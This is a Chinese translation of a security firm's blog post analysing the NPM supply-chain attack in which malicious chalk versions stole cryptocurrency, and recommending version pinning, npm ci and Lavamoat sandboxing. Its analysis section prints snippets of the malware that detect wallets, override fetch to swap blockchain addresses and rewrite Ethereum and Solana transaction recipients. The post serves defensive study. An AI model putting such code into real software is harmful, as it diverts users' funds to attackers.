如何应对供应链攻击

  • osecio
  • 发布于 3小时前
  • 阅读 35

本文分析了最近NPM上发生的供应链攻击事件,恶意软件包通过替换用户交易中的区块链地址来窃取加密货币。文章解释了攻击原理,并提供了开发者可以采取的防御措施,包括版本锁定、使用npm ci以及实施Lavamoat等工具,以降低受到供应链攻击的风险。

如何应对供应链攻击

最近针对 NPM 的供应链攻击表明,受信任的依赖项可以多么容易地成为恶意软件的传递媒介。了解攻击是如何运作的,以及开发者可以实施哪些实际的防御措施来保证安全。

如何应对供应链攻击的标题图片

最近针对 NPM 的供应链攻击给开发者社区带来了震动,并深刻地提醒我们依赖项中潜藏的风险。包括 chalk 在内的广泛使用的软件包的恶意版本被发布,其中包含旨在窃取加密货币的复杂恶意软件。

这次攻击突出了开源生态系统中的一个根本漏洞:你安装的任何软件包都获得与你自己的代码相同的权限,从而可以自由访问重要的资源,例如 cookies 和网络堆栈。

在这篇文章中,我们将分解恶意软件的工作原理,并概述开发者可以使用的实际防御措施,包括 Lavamoat,这是一款已经被 web3 生态系统领导者采用的工具。

Qix 恶意软件:它是如何运作的

攻击者发布了软件包的修改版本,其中的代码旨在执行三件事:

  1. 检测加密钱包: 恶意软件检查以太坊钱包,如 MetaMask。
async function checkethereumw() {
  try {
    const _0x124ed3 = await window.ethereum.request({
      'method': "eth_accounts"
    });
    if (_0x124ed3.length > 0) {
      runmask();
      if (rund != 1) {
        rund = 1;
        neth = 1;
        newdlocal();
      }
    } else if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}
  1. 拦截 HTTP 请求/响应,并将区块链地址替换为攻击者的钱包:(修改后的代码,为了更好地理解)
fetch = async function (...args) {
  const originalResponse = await originalFetch.call(this, ...args);
  const contentType = originalResponse.headers.get('Content-Type') || '';
  let data;
  if (contentType.includes('application/json')) {
    data = await originalResponse.clone().json();
  } else {
    data = await originalResponse.clone().text();
  }
  const processedData = replaceAddresses(data);
  const finalResponseText =
    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);
  const finalResponse = new Response(finalResponseText, {
    status: originalResponse.status,
    statusText: originalResponse.statusText,
    headers: originalResponse.headers,
  });
  return finalResponse;
};
  1. 该恶意软件拦截钱包请求,并在后台将接收者地址替换为攻击者地址。它没有使用直接的替换,而是使用 Levenshtein 距离算法来选择一个看起来相似的地址,这使得受害者更难注意到资金被盗用。
if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
  try {
    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
    _0x2c3d7e.params[0] = _0x39ad21;
  } catch (_0x226343) {}
} else {
  if (
    (_0x2c3d7e.method === 'solana_signTransaction' ||
      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&
    _0x2c3d7e.params && _0x2c3d7e.params[0]
  ) {
    try {
      let _0x5ad975 = _0x2c3d7e.params[0];
      if (_0x5ad975.transaction) {
        _0x5ad975 = _0x5ad975.transaction;
      }
      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);
      if (_0x2c3d7e.params[0].transaction) {
        _0x2c3d7e.params[0].transaction = _0x5dbe63;
      } else {
        _0x2c3d7e.params[0] = _0x5dbe63;
      }
    } catch (_0x4b99fd) {}
  }
}

攻击的影响

尽管这次攻击的目标是流行的 NPM 软件包,但该漏洞的利用并不十分成功。两天后,攻击者的钱包只提取了大约 1000 美元。然而,重要的是,受信任的依赖项可以多么容易地成为恶意软件的传递媒介。

为什么它会再次发生

开源生态系统的分散性,尤其是像 NPM 这样的大型注册表,使其成为攻击者有吸引力且持久的目标。尽管最近的这次攻击被迅速缓解,并且经济影响较小,但它作为一个强大且广为人知的概念验证,表明一个受损的维护者可以大规模分发恶意软件。

拥有超过 200 万个软件包以及无数层的直接和传递依赖项,一次妥协可能会在数小时内波及数千个项目。这是一个经典的“大海捞针”问题,只是这个草堆还在不断增长。

开发者可以做什么

如果你正在构建关键系统,并且在你的威胁模型中,供应链攻击是不可接受的风险,那么你可以采取以下一些实际行动:

1. 在 package.json 中锁定版本

当攻击者发布新版本的 NPM 软件包,并且应用程序自动下载它以获取最新的软件包版本时,应用程序就会受到供应链攻击的威胁。

你可以锁定你的依赖项版本,以确保它们在运行 npm install 时不会被更新。要锁定它,只需确保删除 package.json 中版本之前的插入符号 ^ 符号:

"@react-native-async-storage/async-storage": "1.23.1",
"@react-native-community/datetimepicker": "8.3.0",
"@react-native-community/netinfo": "11.4.1",
"@react-native-picker/picker": "2.11.0"

2. 使用 npm ci

npm ci 使用 package-lock.json 中的依赖项版本来安装软件包。考虑在 CI/CD 工作流中使用它,并且只在添加新软件包或更新现有软件包时使用 npm install

3. 实施 Lavamoat

基本的卫生习惯有所帮助,但它并没有解决根本问题:一个次要的实用程序软件包拥有与你的代码相同的权限。Lavamoat 改变了这种模式。Lavamoat 由 MetaMask 创建,通过沙盒化软件包和强制执行最小权限来解决这个问题。有了它,即使依赖项包含恶意软件,也不会危及应用程序。

Lavamoat 使用 SES (Hardened JavaScript) 来强制执行这些限制,限制每个软件包可以访问的全局变量、函数和子依赖项。这些规则定义在一个策略文件中,如下所示:

"resources": {
    "@ethereumjs/util>@ethereumjs/rlp": {
      "globals": {
        "TextEncoder": true
      }
    },
    "@ethereumjs/util": {
      "globals": {
        "console.warn": true,
        "fetch": true
      },
      "packages": {
        "@ethereumjs/util>@ethereumjs/rlp": true,
        "@ethereumjs/util>ethereum-cryptography": true
      }
    }
}

在这个例子中,它限制了 @ethereumjs/util 软件包只能使用 console.warnfetch 函数,并且只能包含 @ethereumjs/rlpethereum-cryptography 软件包。

策略文件可以自动生成,并且应该仔细地重新生成,因为如果你在安装恶意软件包时生成策略,则可以绕过 Lavamoat 的保护。

Lavamoat 还会自动冻结全局对象,以防止它们被替换或篡改。请参阅 Object.freeze

Lavamoat vs Qix 恶意软件

如果一个 dApp 被 Qix 恶意软件感染(例如它使用了 chalk),它需要执行以下操作才能从钱包中提取资金:

  1. fetch 函数替换为自定义函数
  2. 访问 window.ethereum
  3. 调用原始 fetch 函数
  4. 加上其他不相关的操作

如果 dApp 使用 Lavamoat,并为 chalk 5.6.0(非恶意版本)生成了策略,它将如下所示:

"chalk": {
      "globals": {
        "navigator.userAgent": true,
        "navigator.userAgentData": true
      }
    },

这意味着 chalk 依赖项只能访问 navigator 中的这两个全局属性。

当受感染的 dApp 执行 chalk v5.6.1 的恶意有效负载时,由于权限不足,它将失败:

image

此错误表明恶意软件失败,因为它无法重新定义 fetch 函数:

TypeError#1: Cannot define property fetch, object is not extensible

Lavamoat 的实践

OtterSec 团队在 2024 年末审核了 Lavamoat Webpack 插件,并发现了攻击者可以利用来绕过 Lavamoat 保护的漏洞(请参阅审核报告)。

像任何安全工具一样,它并非完美无缺,但它代表着一个重要的转变:它最大限度地减少了恶意代码可以执行的操作,而不是假设每个依赖项都值得完全信任。供应链攻击旨在攻击尽可能多的受害者,而不是针对个别组织。通过实施 Lavamoat,你可以大大降低你的风险,并迫使攻击者另寻目标。

最后的思考

NPM 事件可能没有造成巨大的损失,但它清楚地证明了当前模型的脆弱性。供应链攻击将再次发生,并且仅依靠注册表的安全性是不够的。

版本锁定和 npm ci 提供了一个基线防御,但 Lavamoat 代表了下一步:强制执行依赖项的最小权限。如果你正在构建关键应用程序,那么采用 Lavamoat 并为其做出贡献是保持领先的最有效方法之一。

  • 原文链接: osec.io/blog/2025-09-13-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
osecio
osecio
Audits that protect blockchain ideas.